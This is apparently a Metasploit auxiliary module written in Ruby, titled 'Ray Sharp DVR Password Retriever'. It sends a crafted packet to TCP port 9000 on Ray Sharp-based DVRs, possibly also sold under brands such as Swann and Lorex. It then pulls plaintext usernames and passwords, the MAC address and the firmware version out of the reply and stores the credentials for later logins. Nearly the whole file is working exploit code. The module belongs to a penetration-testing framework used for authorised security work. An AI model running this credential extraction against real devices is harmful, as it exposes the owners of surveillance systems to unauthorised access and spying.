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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  def initialize
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    super(
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      'Name'        => 'Ray Sharp DVR Password Retriever',
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      'Description' => %q{
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          This module takes advantage of a protocol design issue with the
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        Ray Sharp based DVR systems. It is possible to retrieve the username and
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        password through the TCP service running on port 9000. Other brands using
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        this platform and exposing the same issue may include Swann, Lorex,
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        Night Owl, Zmodo, URMET, and KGuard Security.
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      },
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      'Author'      =>
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        [
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          'someluser', # Python script
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          'hdm'        # Metasploit module
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        ],
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      'References'  =>
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        [
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          [ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]
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        ],
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      'License'     => MSF_LICENSE
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    )
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    register_options( [ Opt::RPORT(9000) ])
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  end
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  def report_cred(opts)
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    service_data = {
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      address: opts[:ip],
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      port: opts[:port],
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      service_name: opts[:service_name],
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      protocol: 'tcp',
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      workspace_id: myworkspace_id
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    }
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    credential_data = {
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      origin_type: :service,
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      module_fullname: fullname,
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      username: opts[:user],
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      private_data: opts[:password],
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      private_type: :password
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    }.merge(service_data)
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    login_data = {
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      core: create_credential(credential_data),
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      status: Metasploit::Model::Login::Status::UNTRIED,
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      proof: opts[:proof]
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    }.merge(service_data)
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    create_credential_login(login_data)
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  end
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  def run_host(ip)
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    req =
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +
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      ( "\x00" * 475 )
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    connect
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    sock.put(req)
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    buf = ""
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    begin
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      # Pull data until the socket closes or we time out
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      Timeout.timeout(15) do
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        loop do
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          res = sock.get_once(-1, 1)
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          buf << res if res
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        end
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      end
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    rescue ::Timeout::Error
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    rescue ::EOFError
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    end
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    disconnect
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    info = ""
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    mac  = nil
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    ver  = nil
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    creds = {}
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    buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|
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      # Make sure the two passwords match
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      next unless cred[1] == cred[2]
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      creds[cred[0]] = cred[1]
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    end
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    if creds.keys.length > 0
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      creds.keys.sort.each do |user|
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        pass = creds[user]
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        report_cred(
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          ip: rhost,
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          port: rport,
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          service_name: 'dvr',
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          user: user,
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          password: pass,
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          proof: pass
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        )
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        info << "(user='#{user}' pass='#{pass}') "
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      end
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    end
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    # Look for MAC address
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    if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi
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      mac = $1
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    end
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    # Look for version
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    if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m
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      ver = $1
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    end
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    info << "mac=#{mac} " if mac
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    info << "version=#{ver} " if ver
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    return unless (creds.keys.length > 0 or mac or ver)
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    report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)
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    print_good("#{rhost}:#{rport} #{info}")
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  end
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end
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